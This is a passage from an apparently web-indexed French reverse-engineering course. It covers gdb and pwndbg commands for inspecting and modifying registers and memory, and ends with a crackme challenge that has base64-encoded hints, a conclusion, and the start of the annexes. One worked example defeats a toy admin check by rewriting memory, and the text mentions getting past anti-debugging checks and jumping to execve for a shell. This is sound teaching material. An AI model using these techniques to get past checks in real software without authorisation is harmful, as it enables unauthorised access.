Imaginez que vous souhaitiez vous arrêter à la fonction de chiffrement d’un rançongiciel en y mettant un point d’arrêt mais que vous vous êtes trompés de fonction ou que plusieurs fonctions de chiffrement sont disponibles. Le fait de poursuivre avec c va continuer l’exécution sans s’arrêter et là, bonjour les dégâts ☢️☣️💣 ! Pour prévenir ce genre de scénarios, quand vous analysez du code dangereux, assurez-vous de mettre des garde-fous pour ne pas exécuter le reste du programme.Nous avions vu la commande run pour lancer un programme. Si des points d’arrêt sont déjà présents dans le programme et qu’ils sont atteints, alors run s’y arrêtera.⤴️Avancer jusqu’au sortir de la fonction couranteQuand on fait du reverse en analyse dynamique, on veut souvent aller vite et ne pas perdre de temps à analyser du code qui n’est pas intéressant. Ainsi, si on se retrouve dans une fonction que l’on a déjà analysée ou dans une fonction de la libc, par exemple, il n’y a pas tellement d’intérêt à exécuter toute la fonction instruction par instruction.Une méthode fastidieuse serait de mettre un point d’arrêt à l’adresse où retourne la fonction une fois qu’elle a fini son exécution mais cela implique de trouver l’adresse en question.Une méthode plus simple est d’utiliser la commande finish. Astuce gdb : Vous pouvez utiliser le raccourcis fin (ou finish) pour finir l’exécution d’une fonction jusqu’à atteindre l’adresse de retour et s’y arrêter.📝 ExerciceJe vous propose de réaliser un petit exercice pour vous familiariser un peu avec gdb et les commandes de déplacement.🎯 L’objectif : retrouver les arguments de chaque appel à la fonction calcul en analyse dynamique seulement.Comme ça c’est facile, on a le code source sous les yeux et le cas échéant on pourrait décompiler le programme pour savoir la réponse. Mais le but est de faire l’exercice en s’aidant seulement de gdb.💪 Si vous souhaitez vous entraîner davantage, vous pouvez stripper le programme afin de retirer les symboles et apprendre à mettre des points d’arrêt en utilisant les adresses.💡 Astuce n°1UXVlbGxlIGVzdCBsYSBjb252ZW50aW9uIGQnYXBwZWwgdXRpbGlzw6llID8gT8O5IGRldnJhaWVudCBkb25jIMOqdHJlIHN0b2Nrw6lzIGxlcyBhcmd1bWVudHMgPw==💡 Astuce n°2QXZvbnMtbm91cyByw6llbGxlbWVudCBiZXNvaW4gZCdleMOpY3V0ZXIgbGEgZm9uY3Rpb24gImNhbGN1bCIgcGFzIMOgIHBhcyA/" }, { "title": "Partie 21 - L'analyse dynamique - analyser les registres et la mémoire (3/4)", "url": "/posts/introduction_au_reverse_partie_21/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-10 08:00:00 -0200", "snippet": "L’analyse dynamique : 📖 analyser les registres et la mémoire (3/4)Désormais, nous savons comment avancer dans gdb que ce soit pas à pas ou plus rapidement.Un autre point fort des débogueurs est qu’...", "content": "L’analyse dynamique : 📖 analyser les registres et la mémoire (3/4)Désormais, nous savons comment avancer dans gdb que ce soit pas à pas ou plus rapidement.Un autre point fort des débogueurs est qu’ils ont accès à la mémoire du processus débogué. Vous l’aurez compris, il existe donc des moyens d’afficher des zones mémoire.Mais il va falloir faire attention à plusieurs choses : comment afficher une zone mémoire ? en hexadécimal ? en string ? en décimal ? comment afficher les données en mémoire ? octet par octet ? par groupe de 4 octets ?Nous verrons comment faire pour gérer tout cela.📄 Afficher une valeurCommençons par la commande la plus simple pour afficher une valeur : print. Astuce gdb : La commande p (ou print) permet d’afficher une valeur quelconque ou la valeur d’une registre. Si la valeur à afficher est une adresse (ou pointeur), elle ne sera pas déréférencée.Pour comprendre comment fonctionne print, chargeons le programme dans gdb et mettons un unique point d’arrêt dans la fonction calcul. Lançons l’exécution, elle s’arrêtera ici :Afficher un registrePremière chose que l’on peut faire est d’afficher les arguments de la fonction. Comme nous sommes en 64 bits, ils sont stockés dans rdi,rsi et rdx. Mais on les voit déjà dans l’interface 🤨 !C’est vrai qu’ici ce n’est pas ce qu’il y a de plus utile. Par contre, on observe dans le code assembleur que ce sont plus précisément les registres edi,esi et edx qui sont utilisés. Essayons d’afficher leur contenu même si on peut le deviner à partir de l’interface. Astuce gdb : Pour afficher un registre, il suffit de le préfixer avec le signe $. Exemple : print $reg.On a alors :pwndbg&gt; p $edi $1 = 1 pwndbg&gt; p $esi $2 = 2 pwndbg&gt; p $edx $3 = 3 Vous remarquerez que gdb stocke les résultats affichés dans des variables du type $1, $2 etc. qui pourront être affichées à leur tour en faisant, par exemple, p $1.Ce qui est pas mal est que l’on n’est pas limités aux registres affichés dans l’interface. On peut également afficher les registres de taille inférieure (ou sous-registres) comme ax, al, ah …Afficher un symboleLorsqu’un programme n’est pas strippé ou que, tout simplement, il fait appel à des fonctions externes, il est possible d’afficher leur adresse avec print.Grâce à pwndbg, nous pouvons même afficher les adresses des fonctions de la libc que l’on a pas appelées dans notre programme. Mais ça sert à quoi d’afficher leur adresse si on ne les appelle pas ? 🙄Eh bien quand on fait de l’exploitation de binaire (ou pwn), on veut faire en sorte que le programme saute à n’importe qu’elle adresse. Ainsi, en le faisant sauter sur execve, par exemple, il est possible d’ouvrir un shell sur la machine de la victime 😈.Pour afficher l’adresse d’une fonction dont le symbole est présent dans le programme, il suffit de faire print fonction. Par exemple : La fonction main et execve ont des adresses très éloignées car elle ne sont pas chargées au même endroit dans la mémoire.Il est également possible d’afficher le contenu (instructions assembleur) d’une fonction. Astuce gdb : La commande disass fun (ou disassemble) permet d’afficher les instructions de la fonction fun.Exemple :En ce qui concerne les variable globales, je vous propose de compiler le code suivant et de l’ouvrir dans gdb :int var_a = 5; unsigned long long var_b = 213; int main() { return 1; }Pour afficher le contenu de var_a nous pouvons faire :pwndbg&gt; p var_a 'var_a' has unknown type; cast it to its declared typeOn remarque que gdb a besoin de savoir quel est le type de la variable à afficher ( ou vers quel type la convertir). Essayons de la sorte :Finalement ce que veut principalement connaître gdb est : la taille de la variable si elle est signée ou nonEn renseignant le type nous pouvons fournir ces deux informations.Afficher une valeur immédiateVia print nous pouvons afficher des valeurs immédiates, par exemple :pwndbg&gt; p 1234 $4 = 1234Bon j’avoue que comme ça, ça a l’air éclaté car cela ne fait rien à part afficher la valeur … qui est déjà affichée.Pourtant, cela a notamment deux grandes utilités : afficher le résultat d’un calcul afficher une valeur dans différents systèmes de numérationEn effet, parfois, on n’a pas envie, ou on a la flemme, de faire un calcul de tête notamment lorsqu’il y a de l’hexadécimal en jeu. Exemple :pwndbg&gt; p/x 0x123 * 100 -2 $8 = 0x71aa Ici /x est un format permettant d’afficher des données en hexadécimal comme on le ferait en C avec printf(\"0x%x\",0x123*100-2);.Ça tombe bien, voyons les formats !Les formatsUne fonctionnalité très utile lorsque souhaite afficher des données est les formats.Cela permet de basculer d’un système de numération à un autre, d’afficher le caractère correspondant à un nombre en ASCII … o : octal x : hexadécimal u : décimal non signé t : binaire f : nombre à virgule (ou flottant) a : adresse c : char s : chaîne de caractèresQuelques exemples :pwndbg&gt; p/x 195948557 $1 = 0xbadf00d pwndbg&gt; p/d 0xbadf00d $2 = 195948557 pwndbg&gt; p/c 0x48 $3 = 72 'H'pwndbg&gt; p/t 0x5 $4 = 101 Si vous souhaitez connaître plus de fonctionnalités concernant la commande print, vous pouvez vous rendre sur cette page de manuel.🔎 Examiner la mémoireNous avons vu les différentes manières d’utiliser print afin d’afficher des valeurs. Comme cela a été mentionné précédemment, print ne déréférence pas l’argument qu’on lui donne, il se contente que de l’afficher ou d’afficher son contenu s’il s’agit d’une variable ou d’un registre.Or, comme vous l’avez sans doute remarqué, de nombreux registres pointent vers des zones mémoire. Ainsi, on aimerait bien, au lieu d’afficher l’adresse pointée, afficher le contenu présent à cette adresse. Cela implique donc que l’adresse utilisée soit déréférencée. Quand on analyse une adresse, il faut s’assurer qu’elle est valide et qu’elle pointe bien vers une zone mémoire accessible sinon gdb va râler 😠.Voyons donc comment s’en servir. Astuce gdb : Vous pouvez utiliser le raccourcis x ( pour explore) afin d’examiner le contenu d’une zone mémoire. Ne pas confondre la commande x avec le format /x.Tout d’abord, il faut savoir que x accepte également un format pour afficher le résultat. En guise d’exemple, reprenons notre petit programme qui réalise plusieurs appels à calcul et arrêtons nous à la première instruction du main.Comme nous sommes en 64 bits, les deux premiers arguments int argc et char **argv sont respectivement stockés dans rdi et rsi.Pour ce qui est de rdi, comme argc n’est pas un pointeur, si on tente de l’examiner, gdb va râler :pwndbg&gt; x/x $rdi 0x1: Cannot access memory at address 0x1Maintenant examinons le contenu de rsi :pwndbg&gt; x/x $rsi 0x7fffffffddd8: 0xffffe15cLe contenu de rsi (dans mon cas) est bien 0x7fffffffddd8 qui pointe vers 0x7fffffffe15c. Mais comme vous pouvez le constater, gdb n’a affiché que les 4 octets de poids faible au lieu d’afficher les 8.Pas de soucis ! Nous allons pouvoir y remédier en spécifiant la taille du résultat.🔢 L’usage de différentes tailleJ’ai une bonne et une mauvaise nouvelle.🟢 La bonne nouvelle est que si vous vous souvenez du chapitre des tailles de données (byte, word, dword, qword …) vous allez pouvoir comprendre cette partie assez vite.🔴 La mauvaise nouvelle est que gdb utilise des tailles qui ne sont pas en adéquations avec celles que l’on a vues et qui sont utilisés par IDA, Ghidra, objdump …Voici les tailles définies dans gdb : Abréviation Signification Taille (en octets) b byte 1 h half word 2 w word 4 g giant word 8 Pour ne pas se tromper avec la manière dont sont appelées les tailles de données, il suffit de se rappeler de ceci : Pour gdb : un word = 4️⃣ octets Pour les autres : un word = 2️⃣ octetsReprenons le précédent exemple pour afficher l’adresse pointée par rsi :pwndbg&gt; x/xg $rsi 0x7fffffffddd8: 0x00007fffffffe15cVoilà ! Astuce gdb : Vous pouvez spécifier un nombre d’éléments à afficher avant les formats afin d’afficher plus ou moins de données en mémoire. Le nombre d’éléments à afficher ainsi que la taille ne sont utilisables qu’avec x. Cela ne fonctionnera pas avec print où seuls les formats (décimal, binaire, hexadécimal …) sont utilisables.Pour afficher les 8 éléments après 0x7fffffffddd8 nous pouvons faire ceci :pwndbg&gt; x/8xg $rsi 0x7fffffffddd8: 0x00007fffffffe15c 0x0000000000000000 0x7fffffffdde8: 0x00007fffffffe1a8 0x00007fffffffe1b7 0x7fffffffddf8: 0x00007fffffffe1cb 0x00007fffffffe201 0x7fffffffde08: 0x00007fffffffe218 0x00007fffffffe223La première ligne contient l’adresse de argv[0] qui pointe vers le chemin du programme :pwndbg&gt; x/s 0x00007fffffffe15c 0x7fffffffe15c: \"/home/(...)/exe\"Pour rappel, comme nous sommes en little endian, voici comment sont agencées les adresses mémoire dans ce qui est affiché :Il est important de bien comprendre cet agencement car, certes, au début ce n’est pas évident de se représenter ce vers quoi chaque adresse pointe. Toutefois, en prenant le temps d’assimiler cette disposition, c’est du temps de gagné par la suite lorsque vous voudrez modifier une zone mémoire. En effet, il faudra savoir exactement l’adresse à utiliser pour ne pas modifier la mémoire qui est autour.Autre point important, si vous afficher une zone mémoire en octets, le boutisme n’a plus de sens auquel cas les données se lisent de gauche à droite : Astuce gdb : Avec x, vous pouvez également donner en argument une expression avec des opérations (addition, soustraction, multiplication …). Cela peut être pratique pour afficher une donnée dans un tableau dont on connait l’index et l’adresse de base. Par exemple, pour afficher la 5ème case d’un tableau d’éléments de 64 bits : x 0x401000+8*5 (en supposant que le tableau soit stocké à partir de l’adresse 0x401000).👀 Examiner la pileLa commande x est très utile notamment pour afficher un certain nombre d’éléments sur la pile. Ainsi, si on souhaite afficher les 10 premiers éléments de la pile, nous pouvons faire : En x86 : x/10xw $esp En x86_64 : x/10xg $rspPour mieux illustrer mes propos et comprendre comment va être affichée la pile dans gdb, compilons notre programme en 32 bits. Ensuite, mettons un point d’arrêt dans la fonction calcul (après le prologue) et lançons l’exécution. Le programme s’arrête lors du premier appel qui calcul(1,2,3);Affichons maintenant les 5 premières valeurs de la pile. Vous devriez avoir un affichage semblable à ceci (avec des adresses différentes sans doute) :Faisons un peu de gymnastique d’esprit pour comprendre comment est agencée la pile dans l’affichage. En effet, depuis le début on représente la pile comme un tableau vertical d’éléments mais là, va falloir nous adapter et nous habituer à cet affichage.Alors, vous arrivez à vous y retrouver ? Bon. Voyons cela de plus près ensemble :Comme le fait d’afficher la pile est quelque chose de très récurrent quand on fait de l’analyse dynamique, autant comprendre comment interpréter l’affichage de gdb, ça mange pas de pain 🥖 ! Parfois, lorsque la stack frame est très grande, que l’on peut pas l’afficher en entier dans gdb et que l’on désire afficher les dernières valeurs de la pile, il est possible d’utiliser plutôt le registreebp/rbp afin de n’afficher que ce qui nous intéresse. Par exemple, si on souhaite afficher seulement les 3 dernières valeurs de la pile, nous pouvons faire x/3xw $ebp-4*3 (car un élément de la pile fait 4 octets en x86).🔦 Chercher des données en mémoireAprès avoir analysé le programme statiquement, nous pouvons trouver des chaînes de caractères ou simplement des valeurs qui semblent être importantes.Imaginons qu’en analysant un crackme on voit que le flag est généré dans un fonction assez compliqué mais qu’ensuite il est inséré en mémoire sous la forme flag{XXXXXXXXXXXX}. Il pourrait alors être intéressant de savoir comment chercher des chaînes de caractères en mémoire. Astuce gdb : La commande search de pwndbg permet de rechercher des motifs en mémoire.En l’occurrence, nous pourrions faire ceci :Ensuite c’est à nous de filtrer le résultat afin d’éliminer les faux positifs.Si vous souhaitez chercher des valeurs et non pas seulement des chaînes de caractères, je vous renvoie vers la documentation de la commande search afin d’y voir les différentes options disponibles.📋 SynthèseVoilà ! Vous savez désormais comment lire des données en mémoire 😎 !Evidemment, rien de tel qu’un peu d’entraînement afin de se familiariser avec les notions vues lors de ce chapitre : Avec p on affiche une valeur ou le contenu d’un registre ou d’une variable. Avec x on peut l’examiner, c’est-à-dire la déréférencer afin d’afficher la valeur pointée. Il est possible d’afficher la valeur des registres en les préfixant avec $. De plus, les sous-registres d’un registre sont utilisables. Lorsque des symboles (fonctions, variables …) sont présents, il est possible de les afficher afin d’avoir quelques informations. Différents formats sont utilisables afin de choisir le système de numération à utiliser pour afficher le résultat. Il est possible de regrouper des données par groupes d’octets en spécifiant une taille. Cependant, le word pour gdb est de 4 octets bien que d’habitude il soit de 2. En spécifiant un nombre avant le format et la taille des données, on choisit le nombre d’éléments à afficher lorsque l’on examine la mémoire. La commande x permet, entre autre, d’afficher les premiers éléments de la pile. La commande search permet de chercher un motif en mémoire" }, { "title": "Partie 22 - L'analyse dynamique - modifier les registres et la mémoire (4/4)", "url": "/posts/introduction_au_reverse_partie_22/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-09 08:00:00 -0200", "snippet": "L’analyse dynamique : 📝 modifier les registres et la mémoire (4/4)Comme à l’accoutumée, après avoir appris à lire, on apprend à écrire ! Si vous avez bien saisi la logique lors de la lecture en mém...", "content": "L’analyse dynamique : 📝 modifier les registres et la mémoire (4/4)Comme à l’accoutumée, après avoir appris à lire, on apprend à écrire ! Si vous avez bien saisi la logique lors de la lecture en mémoire, vous ne devriez pas avoir trop de soucis à la modifier. Astuce gdb : La commande set permet d’écrire dans des registres, variables et la mémoire.Modifier les registresPour modifier la valeur d’un registre, rien de plus simple que de faire set $reg = value où reg est le registre à modifier value la valeur à affecter au registre (en décimal, hexadécimal …)Ce qui est plutôt cool avec lorsque l’on utilise set avec un registre est qu’il n’y a pas besoin de spécifier la taille de value, il la détectera automatiquement.Par exemple :set $rdi = 0xdeadbeefcafebabeset $eax = 0xcafebabe Astuce gdb : Vous pouvez utiliser rel (pour reload) afin de rafraîchir la GUI de pwndbg et voir les changements effectifs. Si vous affectez à un registre une valeur plus petite que sa taille totale cela revient à le mettre à zéro d’abord (sans incidence sur les EFLAGS) puis à affecter la nouvelle valeur.💫 Se téléporter n’importe où dans le codeOn a parfois besoin d’exécuter assez rapidement une fonction ou un bout de code sans vouloir forcément exécuter tout ce qui le précède. Par exemple, si on souhaite analyser une fonction critique d’un malware mais qu’elle est précédée d’une fonction qui détecte le débogage, il vaut mieux éviter de l’exécuter.Il existe deux manières de se téléporter déplacer dans le code : La commande jump 0xdest Modifier eip/rip avec set. Exemple : set $rip = 0x55555555abcdLa différence entre les deux est la suivante : Avec jump, le processeur saute à l’adresse indiquée et poursuit l’exécution En modifiant eip ou rip, le processeur saute à l’adresse indiquée mais ne poursuit pas l’exécutionAinsi, à moins d’avoir une raison valable d’utiliser jump, il vaut mieux modifier le pointeur d’instruction pour mieux contrôler le flot d’exécution.Modifier une zone mémoirePour modifier une zone mémoire pointée par une adresse, nous allons également utiliser set.Compilons le code ci-dessous afin de voir comment nous allons réussir à modifier la mémoire :#include \"stdio.h\" #include \"string.h\" #include \"stdlib.h\" int main() { unsigned long long *identifiant = malloc(8); memset(identifiant, 0xff,8); if(*identifiant == 0xdeadbeefcafebabe) puts(\"Connexion en tant qu'administrateur !\"); else puts(\"Connexion refusée.\"); return 1; }Il s’agit d’une vérification à deux balles permettant d’autoriser la connexion à un administrateur et la refuser pour les autres.Evidemment, en exécutant normalement le programme, il est impossible de se connecter en tant qu’admin car notre identifiant sera toujours 0xffffffffffffffff. Mais en tant que reverser, nous n’allons pas nous laisser abattre par une aussi simple protection d’authentification 😈 !Compilons le programme en 64 bits. Ouvrons-le dans gdb et mettons un point d’arrêt dans le main puis exécutons le programme.Maintenant que vous savez exécuter pas à pas un programme, allez jusqu’à l’instruction de comparaison avec 0xdeadbeefcafebabe sans l’exécuter :La variable identifiant est contenue dans l’adresse pointée par le registre rax. Astuce gdb : Pour modifier une zone mémoire pointée par un registre, il est possible d’utiliser set *$reg = value. Pour modifier directement les données pointées par une adresse : set *0xaddr = value.Modifions cette valeur avec la commande set *$rax = 0xdeadbeefcafebabe. Veillez à bien précéder le registre d’un astérisque * afin que ce soit la valeur pointée qui soit modifiée et non pas le contenu du registre, comme cela a été fait plus haut.En exécutant rel, on constate que la valeur de rax est 0xffffffffcafebabe et ce n’est pas ce que l’on voulait faire …En fait, ce qui se passe est que gdb modifie au plus 4 octets dans la mémoire car il considère que ce qui est pointé est, par défaut, un int. C’est pourquoi les 4 octets de poids fort pointés par rax n’ont pas été modifiés.Nous devons donc spécifier le type afin que gdb sache qu’il s’agit d’une variable de 8 octets à modifier set {unsigned long long}$rax = 0xdeadbeefcafebabe. Astuce gdb : De la même manière, si vous ne souhaitez modifier qu’un seul octet (au lieu de 4 par défaut) vous devez le spécifier. Exemple : set {byte}0x401020 = 0xf5.Par ailleurs, nous aurions pu également manipuler directement l’adresse contenue dans rax pour effectuer cette modification en mémoire set {unsigned long long}0x5555555592a0 = 0xdeadbeefcafebabe Vous remarquerez que lorsque l’on spécifie le type de la zone mémoire, il n’y a plus besoin de mettre l’astérisque *.A présent que nous avons modifié la mémoire pour y mettre l’identifiant de l’administrateur, nous pouvons poursuivre l’exécution du code :Voilà voilà 😎 ! Savoir modifier la mémoire d’un processus dans un débogueur est une chose très importante. Cela permet notamment de contourner des détections basiques de débogage sans avoir à modifier le code du programme.📋 SynthèseEn somme, l’analyse dynamique met à disposition d’un reverser des fonctionnalités lui permettant de manipuler un programme avec la granularité qu’il souhaite.Cela permet notamment d’analyser des spécificités du code qui n’apparaissent pas forcément de prime abord lorsque l’on analyse statiquement un programme.Encore une fois, il ne s’agit pas de choisir entre analyse statique et dynamique pour bien comprendre un programme : il faut savoir tirer partie des avantages des deux.Ainsi, on ne s’attardera pas en analyse statique sur une fonction compliquée et qui semble peu intéressante alors qu’il est possible de l’exécuter plusieurs fois avec des arguments différents pour avoir une idée de ce qu’elle fait en fonction de la valeur de retour.Egalement, nous n’avons pas vu toutes les fonctionnalités que propose gdb et pwndbg. Ce serait beaucoup trop long et pas vraiment pédagogique de voir dans ce cours tout ce qu’ils proposent. Ainsi, si vous souhaitez aller plus loin dans ces fonctionnalités, vous pouvez toujours lire leur documentation.Vous trouverez facilement sur internet des fiches de synthèses (ou cheat sheets) résumant les principales commandes de gdb comme celle-ci. Encore une fois, les annexes de ce cours regroupent les différentes astuces et commandes gdb vues ensemble.Enfin, nous avons parlé exclusivement de gdb car nous nous sommes focalisés sur l’analyse de programme ELF. En revanche, si vous souhaitez faire de l’analyse dynamique sous Windows, vous pouvez utiliser x64dbg qui est un débogueur très puissant et très utilisé sous Windows." }, { "title": "Partie 23 - L'analyse dynamique - Le challenge de fin", "url": "/posts/introduction_au_reverse_partie_23/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-08 08:00:00 -0200", "snippet": "Le challenge de finNous avons vu énormément de choses jusqu’à présent et je suis sûr que vous avez peur d’oublier certaines notions, si ce n’est pas déjà le cas, et c’est normal.Il est important de...", "content": "Le challenge de finNous avons vu énormément de choses jusqu’à présent et je suis sûr que vous avez peur d’oublier certaines notions, si ce n’est pas déjà le cas, et c’est normal.Il est important de s’exercer afin de s’approprier tout ce que l’on a vu ensemble et que vous en gardiez des souvenirs afin de réutiliser vos connaissances plus tard.Je vous propose donc un dernier crackme. Il ne s’agira pas, j’imagine, du dernier crackme que vous réaliserez mais celui-ci devrait vous permettre de mettre en pratique ce que vous avez appris. Ce challenge devrait vous permettre : De mettre en pratique vos connaissances en analyse statique De mettre en pratique vos connaissances en analyse dynamique De découvrir quelques protections anti-reverse. Eh oui, pour l’instant tout fonctionnait à merveille et on avait quasiment aucun obstacle sur la route. Là, il va falloir passer entre les mailles du filetQuelques conseils, à prendre ou à laisser : ✍️ N’hésitez pas à utiliser des feuilles de brouillon afin d’avoir une vue global sur le fonctionnement du programme. 💻 Lorsque vous ne comprenez pas certaines opérations dans le code décompilé, il peut être intéressant de le reproduire en C, Python ou autre. 🪜Afin de ne pas s’y perdre, il vaut mieux y aller étape par étape. 💡Plusieurs indices sont proposés afin de vous aider si vous vous sentez bloqués. Toutefois, les indices sont à consommer avec modération surtout que maintenant, vous êtes des pro du reverse ! 🤔 Encore une fois, s’il y a des notions que vous n’avez jamais vues dans ce challenge, c’est le moment d’apprendre à se débrouiller dans un cas où l’on a pas toutes les cartes en main. Ce qui est vraiment cool avec le reverse est que l’on peut apprendre un tas de nouvelles choses en faisant des challenges !💡 IndicesComme il ne s’agit pas d’un examen non plus, vous trouverez ci-dessous quelques indices pour avancer dans l’analyse lorsque vous êtes bloqués.Il ne s’agit pas de réponse mais d’indications et de questions à se poser quant à l’analyse.💡 Indice n°1UXVlIHByZW5kIGVuIGVudHLDqWUgY2UgcHJvZ3JhbW1lID8KQ29tbWVudCBzdWlzLWplIGNlbnPDqSBzYWlzaXIgbGUgZmxhZyA/ClF1J2VuIGVzdC1pbCBmYWl0ID8KQ29tbWVudCBkb2lzLWplLCBncm9zc28gbW9kbywgdmFsaWRlciBjZSBjaGFsbGVuZ2UgPw==💡 Indice n°2SWwgcGV1dCB5IGF2b2lyIGRlcyBmb25jdGlvbnMgcXVpIGNvbnRpZW5uZW50IGRlIGwnYW50aS1kZWJ1ZywgaWwgZG9pdCBiaWVuIHkgYXZvaXIgdW4gbW95ZW4gZGUgbGVzIGNvbnRvdXJuZXIgc2FucyBxdSdlbGxlcyBub3VzIGFnYWNlbnQgw6AgY2hhcXVlIGZvaXMgLi4u💡 Indice n°3UXVlbHMgc29udCBjZXMgYWxnb3JpdGhtZXMgcXVpIHNlbWJsZW50IMOqdHJlIHV0aWxpc8OpcyA/IApTb250LWlscyBpbnZlcnNpYmxlcyA/ClNpIG91aSA6IGNvbW1lbnQgbGUgaW52ZXJzZXIgPwpTaSBub24gOiBlc3QtY2UgcXVlIGxlIGZhaXQgcXUnaWwgbmUgc29pdCBwYXMgaW52ZXJzaWJsZSBwb3NlIHLDqWVsbGVtZW50IHByb2Jsw6htZSA/💡 Indice n°4U2kgdm91cyBnYWzDqXJleiDDoCB0cm91dmVyIHF1ZWxzIHNvbnQgbGVzIGFsZ29yaXRobWVzIHV0aWxpc8OpcywgZXNzYXlleiBkZSBsZXMgcmVwcm9kdWlyZSBkYW5zIHVuIGJyb3VpbGxvbiBvdSBkYW5zIHVuIHNjcmlwdCBQeXRob24uCgpTYWNoZXogYXVzc2kgcXVlIGxlcyBhbGdvcml0aG1lcyB1dGlsaXNlbnQgZ8OpbsOpcmFsZW1lbnQgZGVzIGNvbnN0YW50ZXMgYmllbiBwcsOpY2lzZXMgcXVpIHBlcm1ldHRlbnQgbGUgZGVzIGlkZW50aWZpZXIgZW4gY2hlcmNoYW50IHVuIHBldSAuLi4=📄 Le programme Lorsque vous télécharger un programme et que vous souhaitez l’exécuter, prenez l’habitude de l’analyser avec un ou plusieurs anti-virus. Cela est particulièrement important sous Windows mais même sous Linux, il s’agit d’une bonne habitude à avoir. Vous pouvez notamment utiliser Virus Total en téléversant le programme à analyser (s’il n’est pas confidentiel) ou en le cherchant (s’il a déjà été téléversé auparavant) via son hash (ex: sha256sum prgrm).Vous pouvez télécharger le programme ici : last_chall. Si vous rencontrez un problème dans le téléchargement ou exécution du challenge, n’hésitez pas à nous contacter à l’adresse : reverse_zip[At]proton.me.🎯 La solutionTWFsaGV1cmV1c2VtZW50LCBkYW5zIGxhIHZyYWllIHZpZSwgb24gbmUgdm91cyBkb25uZXJhIHBhcyBsZXMgc29sdXRpb25zIGNvbW1lIMOnYSwgZMOpc29sw6kgIQoKQWxsZXosIGhvcCBob3AsIG9uIHkgcmV0b3VybmUgIQ==" }, { "title": "Partie 24 - Conclusion", "url": "/posts/introduction_au_reverse_partie_24/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-07 08:00:00 -0200", "snippet": "ConclusionNous voilà à la fin de ce cours d’introduction au reverse !Nous avons appris énormément de choses ensemble au cours des différents chapitres. Nous nous sommes attelés à voir les notions p...", "content": "ConclusionNous voilà à la fin de ce cours d’introduction au reverse !Nous avons appris énormément de choses ensemble au cours des différents chapitres. Nous nous sommes attelés à voir les notions primordiales et ce qui en découle afin de ne pas faire non plus un cours de 100 pages 🤕.Néanmoins, je tiens à la rappeler encore une fois, il ne s’agit que d’un modeste cours d’introduction et énormément de choses n’ont pas été vues. Nous pouvons notamment citer : le reverse sous Windows, Mac OS, Android, iOS … le reverse sur de l’embarqué, IoT … les principales méthodes d’obfuscation et leurs contremesures, même si nous en avons vues quelques unes les détails des autres langages assembleur : ARM, MIPS, RISC-V … la recherche et exploitation de vulnérabilité l’exécution symbolique : comment émuler un programme avec des variables symboliques afin de couvrir plus de code et trouver les valeurs en entrée permettant d’y arriver (mais un cours est dispo ici : introduction à l’exécution symbolique) la décompilation des programmes développés dans d’autres langages comme : le C++ (ressemble en partie au C), Golang, Rust … l’utilisation avancée d’IDA avec des scripts (version Pro seulement), de Ghidra ou de Binary Ninja et bien d’autres !Aller plus loin Y a encore tellement de choses à apprendre, par où commencer et où trouver des ressources 🤯 ?Il y a plusieurs méthodes pour apprendre à avancer en reverse.Lorsque l’on début, il peut être très intéressant d’enchaîner les challenges / crackmes en essayant de bien comprendre à chaque fois ce qu’il se passe et comment le résoudre.Pour cela, voici quelques sites pour pouvoir avancer : 🇫🇷 Root Me : comment parler de challenges si on ne parle pas de Root Me ? Il y a sur ce site, francophone de base, énormément de catégories dont une catégorie Cracking et App Système pour bien se rôder en reverse. Les challenges sont globalement triés par complexité. Autant les premiers peuvent se faire assez rapidement, autant pour les derniers, va falloir être solide sur ses appuis 😵‍💫 ! De plus, il y a un serveur Discord ou vous pourrez discuter avec d’autres passionnés et même y demander de l’aide. Peut être que l’on s’y retrouvera d’ailleurs ! Personnellement c’est là où j’ai quasiment tout appris, ainsi je leur suis redevable, ne serait-ce qu’en vous recommandant cette incroyable plateforme ! 🇫🇷 Hackropole : il s’agit d’une plateforme française assez récente développée par l’ANSSI et qui contient ses nombreux challenges qu’ils publient lors du challenge du FCSC. Là, pareil, il y a beaucoup de catégories dont une catégorie reverse. Les challenges peuvent parfois sembler plus simples ou bien plus compliqués que ceux de Root Me. Ce qui est sûr c’est que ce sont très souvent des challenges de qualité ! 🇬🇧 crackmes.one : une autre plateforme avec plusieurs crackmes. Le site est un peu plus brouillon que les précédents mais ce qui est pas mal est que l’on peut y trouver des challenges dans des langages assembleurs autre que x86 (comme sur Hackropole d’ailleurs). S’il vous arrive de stagner parfois, de galérer sur un challenge pas mal de temps ou de ne pas comprendre certaines choses, sachez que cela est tout à fait normal et que cela fait partie de l’apprentissage. Ce qui va vous permettre de devenir de plus en plus fort en reverse est la persévérance et la patience.Aussi, nous avons essayé d’avancer ensemble tout au long des différents chapitres lorsque l’on faisait face à une difficulté. Il est désormais temps d’apprendre à lire et comprendre les documentations afin de pouvoir se débrouiller face à des situations complexes.Ensuite, une fois que vous êtes assez avancés en termes de reverse, vous pourrez vous attaquer à des analyses de malwares ou de la recherche de vulnérabilités (à des fins de protection).N’hésitez pas non plus à aller jeter un œil aux autres cours de reverse, cela pourrait vous intéresser 😉 !RemerciementsTout d’abord je tiens à vous remercier d’être restés jusqu’au bout malgré mes blagues pas marrantes. J’espère avoir été pédagogue afin que tout le monde puisse découvrir le reverse sans en être dégoûté de prime abord.Si vous avez des commentaires, des retours, des critiques (positives ou non 😅), des pistes d’amélioration, n’hésitez pas à nous contacter ! Cela permettra d’améliorer continuellement ce cours, ainsi que les autres cours proposés sur ce site.Je remercie évidemment le Tout Miséricordieux qui nous a facilité la rédaction de cours et nous a permis d’arriver jusqu’au bout en restant motivé, sans quoi, ce cours n’aurait jamais vu le jour.J’espère que toutes les notions que vous avez apprises lors de ce cours seront utilisées à bon escient et de manière éthique afin de faire avancer les choses dans le bon sens. Âmin.Dieu sait mieux." }, { "title": "Partie 25 - Annexes", "url": "/posts/introduction_au_reverse_partie_25/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-06 08:00:00 -0200", "snippet": "AnnexesDans cette page, vous trouverez plusieurs informations regroupées ensemble dont on a pu parler lors de ce cours : des astuces Ida des astuces gdb les principales instructions x86 Si vous...", "content": "AnnexesDans cette page, vous trouverez plusieurs informations regroupées ensemble dont on a pu parler lors de ce cours : des astuces Ida des astuces gdb les principales instructions x86 Si vous cherchez une info ou commande bien précise, n’hésitez pas à utiliser Ctrl+F 😉.Astuces IDA Astuce IDA : Vous pouvez 